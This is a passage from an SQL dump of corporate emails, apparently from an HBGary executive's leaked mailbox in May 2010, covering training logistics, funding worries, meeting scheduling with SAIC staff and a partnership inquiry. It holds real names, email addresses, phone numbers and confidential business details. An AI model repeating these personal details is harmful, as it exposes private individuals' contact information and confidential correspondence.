and path\r\n>> forward.  We are dangerously low on funds.  To the point we paid mark\r\n>> this week but could not pay ourselves.\r\n>>\r\n>> Please let\'s set up something for Monday.\r\n>>\r\n>> Aaron\r\n>>\r\n>> Sent from my iPad\r\n>>\r\n>\r\n',1461,'aaron_hbgary_com/1461.html'),(6144,'2010-05-10','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297004422.M896470P14101Q999.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Training','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nI&#8217;ll come down\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Monday, May 10, 2010 7:53 AM\r\nTo: Penny Leavy-Hoglund\r\nSubject: Re: Training\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nI am here. &nbsp;Where should I meet u?\r\n\r\nFrom my iPhone\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn May 8, 2010, at 10:25 PM, Penny Leavy-Hoglund &lt;penny@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nI\r\ndon&#8217;t have a problem with you training, provided that it&#8217;s on the cirriculm and\r\nyou know it.&nbsp; With regards to IR, we are hiring someone to do it.&nbsp; We\r\nneed someone specialized to do it, if you&#8217;ve never done it before it&#8217;s not\r\nsomething&nbsp; you just &#8220;pick up&#8221;.&nbsp; Having been on a couple now, we found\r\nthings out that we weren&#8217;t anticipating, you have to be a malware specialist\r\nand know network stuff, Encase etc.&nbsp; I don&#8217;t&#8217; think we should try to do\r\nthis without having experience.&nbsp; Without Rich and Phil, we would never\r\nhave been able to do this.&nbsp; That said, we can work something out with\r\nMike.&nbsp; We also have relationships in place we can call on.&nbsp; ISEc is\r\ntraining here on T/W and they are good.&nbsp; Let&#8217;s discus with Greg on phone\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Ted Vera [mailto:ted@hbgary.com] \r\nSent: Friday, May 07, 2010 2:55 PM\r\nTo: Penny Leavy-Hoglund\r\nCc: Hoglund Greg; Barr Aaron\r\nSubject: Re: Training\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nAfter\r\nMark is trained up on the tools, what do you think about us conducting the\r\nbasic courses here in Colorado Springs? I could promote it, and think that\r\nthere would be enough interest between Colorado Springs and Denver to fill the\r\nseats. I\'ve taught classes for years and with a little ramp up Mark and I would\r\nbe comfortable delivering the course material. It could help us get leads for\r\nincident response and services gigs, and help bring in some revenue. I know\r\npeople at TechWise and other training centers we could rent their facilities\r\nthat have PCs, projectors and everything we\'d need...\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nWhat\r\ndo you think?\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nTed\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn May 7, 2010, at 2:21 PM, Penny Leavy-Hoglund &lt;penny@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nThe\r\ntraining is at the office, we built out the room upstairs.&nbsp; Yes we are\r\nhaving a mixer\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Ted Vera [mailto:ted@hbgary.com] \r\nSent: Friday, May 07, 2010 1:17 PM\r\nTo: Leavy Penny; Hoglund Greg\r\nCc: Barr Aaron\r\nSubject: Fwd: Training\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nMark\r\nwill be out in Sacramento next week attending the Malware RE training. Will you\r\nbe having a mixer like last time? I\'d like him to stop by the office to see the\r\nfacility and meet you and the team.&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nTed\r\n\r\n\r\nBegin forwarded message:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:\r\nMark Trynor &lt;mark@hbgary.com&gt;\r\nDate: May 5, 2010 3:58:32 PM MDT\r\nTo: Ted Vera &lt;ted@hbgary.com&gt;\r\nSubject: Re: Training\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n-----BEGIN\r\nPGP SIGNED MESSAGE-----\r\nHash: SHA1\r\n\r\nAll right I\'m booked. &nbsp;You wouldn\'t happen to still have the electronic\r\nticket/boarding passes stuff from our last trip out there would you?\r\n\r\nOn 05/05/2010 03:02 PM, Ted Vera wrote:\r\n\r\nCan\r\nyou reply to all once you\'ve decided if you can go, so Jim\r\n\r\n\r\n\r\nreserves\r\nthe slot.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOn\r\nMay 5, 2010, at 2:02 PM, Jim Richards &lt;jim@hbgary.com&gt;\r\nwrote:\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAs\r\na matter of fact, there is 1 seat available! Send him out!\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nJim\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nJim\r\nRichards | Learning Programs Manager | HBGary, Inc.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n3604\r\nFair Oaks Blvd, Suite 250 | Sacramento, CA 95864\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nCell\r\nPhone: 916-276-2757 | Office Phone: 916-459-4727 x119 | Fax:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n916-481-1460\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nWebsite:\r\nwww.hbgary.com | email: jim@hbgary.com\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n-----Original\r\nMessage-----\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:\r\nTed Vera [mailto:ted@hbgary.com]\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nSent:\r\nWednesday, May 05, 2010 1:03 PM\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nTo:\r\nRichards Jim\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nCc:\r\nMark Trynor; Barr Aaron\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nSubject:\r\nTraining\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHi\r\nJim,\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nIs\r\nthere room for our new employee, Mark Trynor, to sit in the May\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n11-12\r\nMalware class in Sacramento?\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nTed\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n-----BEGIN\r\nPGP SIGNATURE-----\r\nVersion: GnuPG v1.4.10 (GNU/Linux)\r\nComment: Using GnuPG with Mozilla - http://enigmail.mozdev.org/\r\n\r\niEYEARECAAYFAkvh6ggACgkQWw/TEDXzQNPL/QCfYp9gCcMDVN9ze1W1Dgozo4J7\r\nswYAnRyF9NwRLdTViR12r7u0v61DDWgW\r\n=dkUz\r\n-----END PGP SIGNATURE-----\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',14021,'aaron_hbgary_com/14021.html'),(6145,'2010-05-10','\"Goldman, Bradford L.\" <BRADFORD.L.GOLDMAN@saic.com>','/aaron@hbgary.com/new/1297004423.M146007P14101Q1000.eml','aaron@hbgary.com','Re: Discussion','\r\n\r\n\r\n\r\n\r\nRe: Discussion\r\n\r\n\r\n\r\n\r\nHow about the saic towers in McLean.\r\n\r\n----- Original Message -----\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;\r\nTo: Goldman, Bradford L.\r\nSent: Mon May 10 06:56:14 2010\r\nSubject: Re: Discussion\r\n\r\nTuesday 330 still work?&nbsp; Where would you like to meet?\r\nAaron\r\n\r\nSent from my iPad\r\n\r\nOn May 7, 2010, at 4:27 PM, &quot;Goldman, Bradford L.&quot;\r\n&lt;BRADFORD.L.GOLDMAN@saic.com&gt; wrote:\r\n\r\n&gt; Aaron,\r\n&gt;\r\n&gt; Sounds good, how about Tuesday at 3:30pm or later or Wednesday morning\r\n&gt; around 10 or 11 am?\r\n&gt;\r\n&gt; regards,\r\n&gt; Brad Goldman\r\n&gt; +1.703.966.6010\r\n&gt;\r\n&gt; -----Original Message-----\r\n&gt; From: Aaron Barr [mailto:aaron@hbgary.com]\r\n&gt; Sent: Friday, May 07, 2010 8:42 AM\r\n&gt; To: Goldman, Bradford L.\r\n&gt; Subject: Discussion\r\n&gt;\r\n&gt; Hi Brad,\r\n&gt;\r\n&gt; We met briefly at the Tech Tuesday last week.&nbsp; You mentioned you would\r\n&gt; like to have a follow on conversation.&nbsp; Let me know some\r\n&gt; availabilities and maybe we can meet up next week.\r\n&gt;\r\n&gt; Aaron\r\n&gt; CEO\r\n&gt; HBGary Federal\r\n&gt;\r\n&gt; Sent from my iPad\r\n\r\n\r\n\r\n\r\n',4330,'aaron_hbgary_com/4330.html'),(6146,'2010-05-10','\"Olcott, Jacob\" <Jacob.Olcott@mail.house.gov>','/aaron@hbgary.com/new/1297004423.M460794P14101Q1001.eml','\"Olcott, Jacob\" <Jacob.Olcott@mail.house.gov>','Moving on','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAfter 4.5 years, today is my last day with the House Homeland\r\nSecurity Committee. &nbsp;I recently accepted a position as counsel with the\r\nSenate Commerce Committee.&nbsp; I will be handling technology, Internet, cybersecurity,\r\nscience, and space issues for Sen. Rockefeller.\r\n\r\n&nbsp;\r\n\r\nEffective next week (Monday May 17), my new contact\r\ninformation will be:&nbsp; \r\n\r\nJacob_Olcott@senate.commerce.gov\r\n\r\n(202) 224-0411\r\n\r\n&nbsp;\r\n\r\nI look forward to continuing our work together.\r\n\r\n&nbsp;\r\n\r\nBest,\r\n\r\n&nbsp;\r\n\r\nJake\r\n\r\n&nbsp;\r\n\r\nJacob Olcott\r\n\r\nSubcommittee Director and\r\nCounsel\r\n\r\nEmerging Threats,\r\nCybersecurity, S&amp;T Subcommittee\r\n\r\nCommittee on Homeland\r\nSecurity (Majority)\r\n\r\n202-226-2623\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',4258,'aaron_hbgary_com/4258.html'),(6147,'2010-05-10','\"Sheldon, Scott W.\" <SCOTT.W.SHELDON@saic.com>','/aaron@hbgary.com/new/1297004423.M763456P14101Q1002.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Declined: Invitation: SAIC @ Fri May 7 3:30pm - 4:30pm (Scott W Sheldon)','\r\n\r\n\r\n\r\n\r\n\r\n\r\nv\\:* {behavior:url(#default#VML);}\r\no\\:* {behavior:url(#default#VML);}\r\nw\\:* {behavior:url(#default#VML);}\r\n.shape {behavior:url(#default#VML);}\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nst1\\:*{behavior:url(#default#ieooui) }\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n&nbsp;\r\n\r\nI have an opening today at 1530 if that\r\nworks for you. I&#8217;m offering it to others as well, so let me know quickly\r\nif you want to meet today.\r\n\r\n&nbsp;\r\n\r\nI&#8217;ll identify other times as well,\r\nbut this was a pop-up.\r\n\r\n&nbsp;\r\n\r\nScott\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nScott W. Sheldon, PMP | SAIC\r\n\r\nVice\r\nPresident, Senior Account Executive | Intelligence, Security and Technology\r\nGroup\r\n\r\nmobile:\r\n410.382.0179 | email: scott.w.sheldon@saic.com \r\n\r\n&nbsp;\r\n\r\nScience\r\nApplications International Corporation\r\n\r\n6841\r\n  Benjamin Franklin Drive\r\n\r\nColumbia, MD\r\n 21046\r\n\r\nwww.saic.com\r\n\r\n&nbsp;\r\n\r\nEnergy&nbsp;\r\n|&nbsp; Environment&nbsp; |&nbsp; National Security&nbsp; |&nbsp; Health&nbsp;\r\n|&nbsp; Critical Infrastructure\r\n\r\n&nbsp;\r\n\r\nPlease\r\nconsider the environment before printing this email.\r\n\r\n&nbsp;\r\n\r\nThis e-mail and any attachments\r\nto it are intended only for the identified recipients. It may contain\r\nproprietary or otherwise legally protected information of SAIC. Any\r\nunauthorized use or disclosure of this communication is strictly prohibited. If\r\nyou have received this communication in error, please notify the sender and\r\ndelete or otherwise destroy the e-mail and all attachments\r\nimmediately.\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Friday, May 07, 2010 8:52 AM\r\nTo: Sheldon,\r\n Scott W.\r\nSubject: Re: Declined: Invitation:\r\nSAIC @ Fri May 7 3:30pm - 4:30pm (Scott W Sheldon)\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nScott,\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nSounds good.\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nTake care.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFYI, in my past experience I worked more closely with the sister agency\r\nacross the river. &nbsp;It occurred to me this week that I might know some\r\npeople that are interested in a change, turns out I do, both green and blue.\r\n&nbsp;So if there are some potential spots on NANA or other opportunities my\r\ncontact list is growing.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOn May 7, 2010, at 8:04 AM, Sheldon, Scott W.\r\nwrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n\r\nI\'ve\r\nbeen sick all week and won\'t make it in to work today either. \r\n\r\nLet\'s\r\nreschedule this once I\'m feeling better. \r\n\r\nScott\r\n\r\n\r\n\r\n\r\n&lt;meeting.ics&gt;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',16783,'aaron_hbgary_com/16783.html'),(6148,'2010-05-10','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004424.M121654P14101Q1003.eml','\"Sheldon, Scott W.\" <SCOTT.W.SHELDON@saic.com>','Re: Declined: Invitation: SAIC @ Fri May 7 3:30pm - 4:30pm (Scott W 	Sheldon)','Sounds good.  I am up near bwi.Sent from my iPadOn May 10, 2010, at 11:06 AM, &quot;Sheldon, Scott W.&quot; &lt;SCOTT.W.SHELDON@saic.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n \r\n\r\nI have an opening today at 1530 if that\r\nworks for you. I’m offering it to others as well, so let me know quickly\r\nif you want to meet today.\r\n\r\n \r\n\r\nI’ll identify other times as well,\r\nbut this was a pop-up.\r\n\r\n \r\n\r\nScott\r\n\r\n \r\n\r\n\r\n\r\n \r\n\r\nScott W. Sheldon, PMP | SAIC\r\n\r\nVice\r\nPresident, Senior Account Executive | Intelligence, Security and Technology\r\nGroup\r\n\r\nmobile:\r\n410.382.0179 | email: scott.w.sheldon@saic.com \r\n\r\n \r\n\r\nScience\r\nApplications International Corporation\r\n\r\n6841\r\n  Benjamin Franklin Drive\r\n\r\nColumbia, MD\r\n 21046\r\n\r\nwww.saic.com\r\n\r\n \r\n\r\nEnergy \r\n|  Environment  |  National Security  |  Health \r\n|  Critical Infrastructure\r\n\r\n \r\n\r\nPlease\r\nconsider the environment before printing this email.\r\n\r\n \r\n\r\nThis e-mail and any attachments\r\nto it are intended only for the identified recipients. It may contain\r\nproprietary or otherwise legally protected information of SAIC. Any\r\nunauthorized use or disclosure of this communication is strictly prohibited. If\r\nyou have received this communication in error, please notify the sender and\r\ndelete or otherwise destroy the e-mail and all attachments\r\nimmediately.\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Friday, May 07, 2010 8:52 AM\r\nTo: Sheldon,\r\n Scott W.\r\nSubject: Re: Declined: Invitation:\r\nSAIC @ Fri May 7 3:30pm - 4:30pm (Scott W Sheldon)\r\n\r\n\r\n\r\n \r\n\r\nScott,\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nSounds good.\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nTake care.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nFYI, in my past experience I worked more closely with the sister agency\r\nacross the river.  It occurred to me this week that I might know some\r\npeople that are interested in a change, turns out I do, both green and blue.\r\n So if there are some potential spots on NANA or other opportunities my\r\ncontact list is growing.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nOn May 7, 2010, at 8:04 AM, Sheldon, Scott W.\r\nwrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n\r\nI&#39;ve\r\nbeen sick all week and won&#39;t make it in to work today either. \r\n\r\nLet&#39;s\r\nreschedule this once I&#39;m feeling better. \r\n\r\nScott\r\n\r\n\r\n\r\n\r\n&lt;meeting.ics&gt;\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',8116,'aaron_hbgary_com/8116.html'),(6149,'2010-05-10','\"Arnav Manchanda\" <a.manchanda@secdev.ca>','/aaron@hbgary.com/new/1297004424.M413786P14101Q1004.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Rich Cummings\" <rich@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','SecDev-HBGary - integration work','Dear Aaron, Rich,As per our brief discussion during the WebEx on Friday, SecDev is currently studying the potential market space for integration work between HBGary\'s malware analysis products and the Palantir platform, to establish what the opportunities are for a potential joint offering, especially when it comes to realtime threat intelligence and combining malware forensic data with network intelligence.&nbsp;Following from our previous discussions, I would appreciate it if you could provide some idea to us of the following aspects of your client base. Please be assured that this information is kept confidential as per the terms of our NDA.1. How many of your existing clients are using data visualization and/or analytical tool similar to Palantir? What sort of market segment do these clients represent&nbsp;(e.g., commercial, government), and what solution would they be looking for? Have any of your customers expressed an interest in Palantir specifically, or are currently using Palantir?&nbsp;Do you have partnerships with firms that provide products&nbsp;similar&nbsp;to Palantir?2.&nbsp;&nbsp;How many of your prospective clients&nbsp;are using data visualization and/or analytical tool similar to Palantir (or use Palantir), and have asked you about integration?&nbsp;What sort of market segment do these clients represent&nbsp;(e.g., commercial, government), and what solution would they be looking for?3. &nbsp;What is the approximate value of each of your client contracts? &nbsp;a) 10-50Kb) 50-100Kc) 100-500Kd) 500k-1Me) 1M-2Mf) 2M and aboveg) Other4. How much do you think a client would be willing to spend on an integration package between your product and Palantir?a) 10-50Kb) 50-100Kc) 100-500Kd) 500k-1M5. Do you have any current clients that have an immediate need for integration? If so, what is the main objective of the integration work? Are you interested in a joint venture with SecDev to handle this integration work?Thanks very much for your assistance in this. I am also working on scheduling a meeting on May 12 in Washington, as per our last exchange.Best wishes,ArnavArnav ManchandaBusiness Capture &amp; AnalyticsThe&nbsp;SecDev&nbsp;Groupcomplexity.engagedWorld Exchange Plaza45 O\'Connor Street, Suite 1150Ottawa, Ontario K1P 1A4Office:&nbsp;+1 (613) 755-4007Cell:&nbsp;&nbsp;+1 (613) 806-4081E-mail:&nbsp;a.manchanda@secdev.ca&nbsp;This email and any attached files are confidential and copyright protected. If you are not the addressee, any dissemination of this communication is strictly prohibited. Unless otherwise expressly agreed in writing, nothing stated in this communication shall be legally binding.Consider the environment. Please don\'t print this e-mail unless you really need to.',9954,'aaron_hbgary_com/9954.html'),(6150,'2010-05-10','\"Olcott, Jacob\" <Jacob.Olcott@mail.house.gov>','/aaron@hbgary.com/new/1297004424.M641653P14101Q1005.eml','\"Olcott, Jacob\" <Jacob.Olcott@mail.house.gov>','Corrected email address','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nSorry &#8211; email address was wrong in the last message.&nbsp; \r\n\r\n&nbsp;\r\n\r\nMy new, real contact information will be:&nbsp; \r\n\r\nJacob_Olcott@commerce.senate.gov\r\n\r\n(202) 224-0411\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nJacob Olcott\r\n\r\nSubcommittee Director and\r\nCounsel\r\n\r\nEmerging Threats,\r\nCybersecurity, S&amp;T Subcommittee\r\n\r\nCommittee on Homeland\r\nSecurity (Majority)\r\n\r\n202-226-2623\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',13199,'aaron_hbgary_com/13199.html'),(6151,'2010-05-10','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004424.M984133P14101Q1006.eml','\"Goldman, Bradford L.\" <BRADFORD.L.GOLDMAN@saic.com>','Re: Discussion','Sounds good.  See you tomorrow.Sent from my iPadOn May 10, 2010, at 10:57 AM, &quot;Goldman, Bradford L.&quot; &lt;BRADFORD.L.GOLDMAN@saic.com&gt; wrote:\r\n\r\n\r\n\r\n\r\nHow about the saic towers in McLean.\r\n\r\n----- Original Message -----\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;\r\nTo: Goldman, Bradford L.\r\nSent: Mon May 10 06:56:14 2010\r\nSubject: Re: Discussion\r\n\r\nTuesday 330 still work?  Where would you like to meet?\r\nAaron\r\n\r\nSent from my iPad\r\n\r\nOn May 7, 2010, at 4:27 PM, &quot;Goldman, Bradford L.&quot;\r\n&lt;BRADFORD.L.GOLDMAN@saic.com&gt; wrote:\r\n\r\n&gt; Aaron,\r\n&gt;\r\n&gt; Sounds good, how about Tuesday at 3:30pm or later or Wednesday morning\r\n&gt; around 10 or 11 am?\r\n&gt;\r\n&gt; regards,\r\n&gt; Brad Goldman\r\n&gt; +1.703.966.6010\r\n&gt;\r\n&gt; -----Original Message-----\r\n&gt; From: Aaron Barr [mailto:aaron@hbgary.com]\r\n&gt; Sent: Friday, May 07, 2010 8:42 AM\r\n&gt; To: Goldman, Bradford L.\r\n&gt; Subject: Discussion\r\n&gt;\r\n&gt; Hi Brad,\r\n&gt;\r\n&gt; We met briefly at the Tech Tuesday last week.  You mentioned you would\r\n&gt; like to have a follow on conversation.  Let me know some\r\n&gt; availabilities and maybe we can meet up next week.\r\n&gt;\r\n&gt; Aaron\r\n&gt; CEO\r\n&gt; HBGary Federal\r\n&gt;\r\n&gt; Sent from my iPad\r\n\r\n\r\n\r\n\r\n\r\n',3753,'aaron_hbgary_com/3753.html'),(6152,'2010-05-10','\"Sheldon, Scott W.\" <SCOTT.W.SHELDON@saic.com>','/aaron@hbgary.com/new/1297004425.M207763P14101Q1007.eml','aaron@hbgary.com','Re: Declined: Invitation: SAIC @ Fri May 7 3:30pm - 4:30pm (Scott W Sheldon)','\r\nAaron,Someone else got that time. I\'ll send some other openings later. Scott\r\n\r\n\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;To: Sheldon, Scott W.Sent: Mon May 10 11:29:26 2010Subject: Re: Declined: Invitation: SAIC @ Fri May 7 3:30pm - 4:30pm (Scott W Sheldon)\r\nSounds good.  I am up near bwi.Sent from my iPadOn May 10, 2010, at 11:06 AM, &quot;Sheldon, Scott W.&quot; &lt;SCOTT.W.SHELDON@saic.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n \r\n\r\nI have an opening today at 1530 if that\r\nworks for you. I’m offering it to others as well, so let me know quickly\r\nif you want to meet today.\r\n\r\n \r\n\r\nI’ll identify other times as well,\r\nbut this was a pop-up.\r\n\r\n \r\n\r\nScott\r\n\r\n \r\n\r\n\r\n\r\n \r\n\r\nScott W. Sheldon, PMP | SAIC\r\n\r\nVice\r\nPresident, Senior Account Executive | Intelligence, Security and Technology\r\nGroup\r\n\r\nmobile:\r\n410.382.0179 | email: scott.w.sheldon@saic.com \r\n\r\n \r\n\r\nScience\r\nApplications International Corporation\r\n\r\n6841\r\n  Benjamin Franklin Drive\r\n\r\nColumbia, MD\r\n 21046\r\n\r\nwww.saic.com\r\n\r\n \r\n\r\nEnergy \r\n|  Environment  |  National Security  |  Health \r\n|  Critical Infrastructure\r\n\r\n \r\n\r\nPlease\r\nconsider the environment before printing this email.\r\n\r\n \r\n\r\nThis e-mail and any attachments\r\nto it are intended only for the identified recipients. It may contain\r\nproprietary or otherwise legally protected information of SAIC. Any\r\nunauthorized use or disclosure of this communication is strictly prohibited. If\r\nyou have received this communication in error, please notify the sender and\r\ndelete or otherwise destroy the e-mail and all attachments\r\nimmediately.\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Friday, May 07, 2010 8:52 AM\r\nTo: Sheldon,\r\n Scott W.\r\nSubject: Re: Declined: Invitation:\r\nSAIC @ Fri May 7 3:30pm - 4:30pm (Scott W Sheldon)\r\n\r\n\r\n\r\n \r\n\r\nScott,\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nSounds good.\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nTake care.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nFYI, in my past experience I worked more closely with the sister agency\r\nacross the river.  It occurred to me this week that I might know some\r\npeople that are interested in a change, turns out I do, both green and blue.\r\n So if there are some potential spots on NANA or other opportunities my\r\ncontact list is growing.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nOn May 7, 2010, at 8:04 AM, Sheldon, Scott W.\r\nwrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n\r\nI&#39;ve\r\nbeen sick all week and won&#39;t make it in to work today either. \r\n\r\nLet&#39;s\r\nreschedule this once I&#39;m feeling better. \r\n\r\nScott\r\n\r\n\r\n\r\n\r\n&lt;meeting.ics&gt;\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',4778,'aaron_hbgary_com/4778.html'),(6153,'2010-05-10','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004425.M603986P14101Q1008.eml','\"Sheldon, Scott W.\" <SCOTT.W.SHELDON@saic.com>','Re: Declined: Invitation: SAIC @ Fri May 7 3:30pm - 4:30pm (Scott W 	Sheldon)','How does it look for this afternoon?  If a no go I am going to head back down 